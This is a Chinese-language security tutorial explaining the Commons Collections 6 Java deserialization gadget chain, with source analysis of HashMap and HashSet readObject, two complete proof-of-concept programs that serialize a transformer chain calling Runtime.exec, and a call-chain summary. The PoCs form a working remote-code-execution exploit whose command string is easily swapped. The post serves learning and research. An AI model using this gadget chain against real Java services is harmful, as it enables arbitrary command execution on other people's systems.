环境准备

JDK1.8(8u421)我以本地的JDK8版本为准、commons-collections(3.x 4.x均可这里使用3.2版本)

cc3.2:

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>

CC1攻击链:https://www.cnblogs.com/erosion2020/p/18553568

CC5攻击链:https://www.cnblogs.com/erosion2020/p/18555069

正文

CC6和CC5一样也是 CC1 的一个变种,在 CC6(CommonsCollections6)攻击链中,HashMapHashSet 起到了非常重要的作用。它们并不是攻击链的直接执行工具,而是用于 存储恶意数据结构,并且通过 反序列化 触发了恶意代码的执行。

HashMap

存储恶意的 TiedMapEntryHashMap 用来存储 TiedMapEntry,这个类在攻击链中起到了一个关键作用。TiedMapEntry 是一个键值对,它将一个 LazyMap 实例与一个键(如 "foo")绑定在一起。通过 LazyMap,在访问某个键时,攻击链中的 Transformer 会被触发执行。

CC6 攻击链中,HashMapTiedMapEntry 存入其中,并且通过 keySet() 获取 LazyMap 中的所有键。这个过程为后续的恶意代码执行提供了触发条件。

关键代码分析

在HashMap中重写了readObject方法

private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
......
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
// 重点是这里,他调用了hash(Key),从而触发TiedMapEntry的hashCode()方法,而从触发LazyMap中的get()方法
putVal(hash(key), key, value, false, false);
}
......
}

HashSet

存储 HashMapkeySet()HashSet 用来存储 HashMapkeySet(),即存储 LazyMap 中的键集合。在这个步骤中,HashSet 只是一个容器,用来接收 HashMap 中的条目集。keySet() 返回的是 LazyMap 中所有的键,而这些键与恶意的 TiedMapEntry 关联,这些条目会触发攻击链中的转换器(Transformer)。

HashSet 在反序列化时也会参与触发过程。当我们将这个 HashSet 序列化并反序列化后,LazyMap 和其中绑定的 Transformer 链会被触发,导致攻击链中的恶意行为得以执行。

在 HashSet 的 readObject 方法中,会调用其内部 HashMap 的 put 方法,将值放在 key 上。

关键代码分析

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// HashSet内部维护了一个map对象,但是该Map对象的值都是空Object,也就是new Object()
private transient HashMap<E,Object> map;
......
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
// 重点在这里,他最终会调用到HashMap的put方法
map.put(e, PRESENT);
}
// 这里就触发了HashMap的hash方法
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
// 这里就能触发hashCode方法,如果这里的参数Object key是我们准备的TiedMapEntry攻击链对象,这样在反序列化之后就能执行我们的攻击链代码了
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

POC1(简化版本 - 适合初级学习调试)

ysoserial中的CC6代码中考虑到JDK的不同版本的字段差异处理,以及HashSet和HashMap中都使用到了放射的方法进行set字段值,其实我也不太理解为什么ysoserial的代码写的那么复杂,明明那些字段值可以不通过反射放进去的.....可能有其它额外的考虑,这里为了方便初学者学习,所以可以先调试这一份代码,这份代码熟练了之后可以再看一下下边我改写的ysoserial的代码,循序渐进的来。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map; public class CommonsCollections6 {
static String serialFileName = "commons-collections6.ser"; public static void main(String[] args) throws Exception {
cc6bySimplify();
verify();
} public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
} public static void cc6bySimplify() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain); // 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
//TODO===========================CC6新的触发点 START By YsoSerial Simplify=============================
HashMap map = new HashMap();
map.put(entry, "1");
HashSet set = new HashSet(map.keySet());
lazyMap.clear();
//TODO===============================CC6新的触发点 END By YsoSerial Simplify=========================
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(set);
oos.flush();
oos.close();
}
}

POC2(复杂版本 - 基于ysoserial)

这是基于ysoserial的代码改造的,但是逻辑几乎是没怎么动的,只是把ysoserial中调用的工具类变成了直接的写法。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map; public class CommonsCollections6 {
static String serialFileName = "commons-collections6.ser"; public static void main(String[] args) throws Exception {
cc6byYsoSerial();
verify();
} public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
} public static void cc6byYsoSerial() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
// 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); //TODO===========================CC6新的触发点 START By YsoSerial============================= HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map); Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl); Object node = array[0];
if(node == null){
node = array[1];
} Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry); //TODO===============================CC6新的触发点 END By YsoSerial========================= FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(map);
oos.flush();
oos.close();
}
}

调试

来弹个cmd

调用链总结

  • ObjectInputStream.readObject()

    • HashSet.readObject()

      • HashMap.put()
      • HashMap.putVal()
      • HashMap.hash()
      • HashMap.hashCode()
        • TiedMapEntry.hashCode()
        • TiedMapEntry.getValue()
          • LazyMap.get()

            • ChainedTransformer.transform()

              • ConstantTransformer.transform()
              • InvokerTransformer.transform()
                • Method.invoke()
                • Class.getMethod()
              • InvokerTransformer.transform()
                • Method.invoke()
                • Runtime.getRuntime()
              • InvokerTransformer.transform()
                • Method.invoke()
                • Runtime.exec()

CommonsCollections6(基于ysoserial)的更多相关文章

  1. ysoserial commonscollections6 分析

    利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...

  2. ysoserial分析【一】 之 Apache Commons Collections

    目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...

  3. Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo InvokerTransformer(Evil MethodName/Args)

    Java unserialize serialized Object(AnnotationInvocationHandler.ysoserial) In readObject() LeadTo Tra ...

  4. 基于CommonsCollections4的Gadget分析

    基于CommonsCollections4的Gadget分析 Author:Welkin 0x1 背景及概要 随着Java应用的推广和普及,Java安全问题越来越被人们重视,纵观近些年来的Java安全 ...

  5. ysoserial Commons Collections1反序列化研究

    Apache Commons Collections1反序列化研究 环境准备 Apache Commons Collections 3.1版本 IDEA 需要一些java基础,反射.类对象.Class ...

  6. YsoSerial 工具常用Payload分析之URLDNS

    本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...

  7. YsoSerial 工具常用Payload分析之CC3(二)

    这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...

  8. YsoSerial 工具常用Payload分析之Common-Collections2、4(五)

    前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...

  9. Ysoserial Commons Collections7分析

    Ysoserial Commons Collections7分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...

  10. 最近帮客户实施的基于SQL Server AlwaysOn跨机房切换项目

    最近帮客户实施的基于SQL Server AlwaysOn跨机房切换项目 最近一个来自重庆的客户找到走起君,客户的业务是做移动互联网支付,是微信支付收单渠道合作伙伴,数据库里存储的是支付流水和交易流水 ...

随机推荐

  1. Transformer模型:Position Embedding实现

    在自然语言处理(NLP)中,Transformer 模型是一个非常重要的里程碑,它通过自注意力(self-attention)机制极大地提高了处理序列数据的能力.在 Transformer 模型中,词 ...

  2. Kubernetes-3:使用kubeadm部署k8s环境及常见报错解决方法

    k8s集群安装 环境说明: k8s-Master-Centos8 ip:192.168.152.53 k8s-Node1-Centos7 ip:192.168.152.253 k8s-Node2-Ce ...

  3. MyBatis分页实现

    目录 分页实现 limit实现分页 RowBounds分页 分页实现 limit实现分页 为什么需要分页? 在学习mybatis等持久层框架的时候,会经常对数据进行增删改查操作,使用最多的是对数据库进 ...

  4. Dash 2.18版本新特性介绍

    本文示例代码已上传至我的Github仓库:https://github.com/CNFeffery/dash-master Gitee同步仓库地址:https://gitee.com/cnfeffer ...

  5. Electron加载服务器端JS:高效打造跨平台桌面应用与本地 API 交互

    在现代桌面应用开发中,使用 Electron 加载远程服务器托管的前端资源,再与本地 API 交互,能够带来灵活的部署和强大的本地功能支持.这种方式不仅提升了开发效率,还能充分利用 PC 端的资源和性 ...

  6. Servlet——简介

    Servlet    快速入门   1.创建web项目,导入Servlet依赖坐标 <dependencies> <dependency> <groupId>jav ...

  7. 开发板、windows、虚拟机互相ping通/ VMNET0、VMNET1、VMNET8释义

    当前环境:板子通过网线连接windows 问题: 我当前的板子可以ping通windows,windows也能ping通ubuntu.但是板子却ping不通ubuntu. 原因: ubuntu通过NA ...

  8. Linux工具:Winscp显示隐藏的文件

    事件起因: 需要用Winscp上传文件到服务器,然后发现文件被隐藏了 解决办法: Winscp软件的快捷键 : Ctrl + Alt + HWindscp软件的设置方法: 菜单栏 选项 -> 面 ...

  9. 常用的linux命令 docker常用命令

    mkdir 新建目录 rmdir 删除目录 rm只能删除文件,不能删除目录 cp test.txt Documents 进入容器的目录 docker exec -it <container_id ...

  10. maven的pom.xml基础配置

    <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://mave ...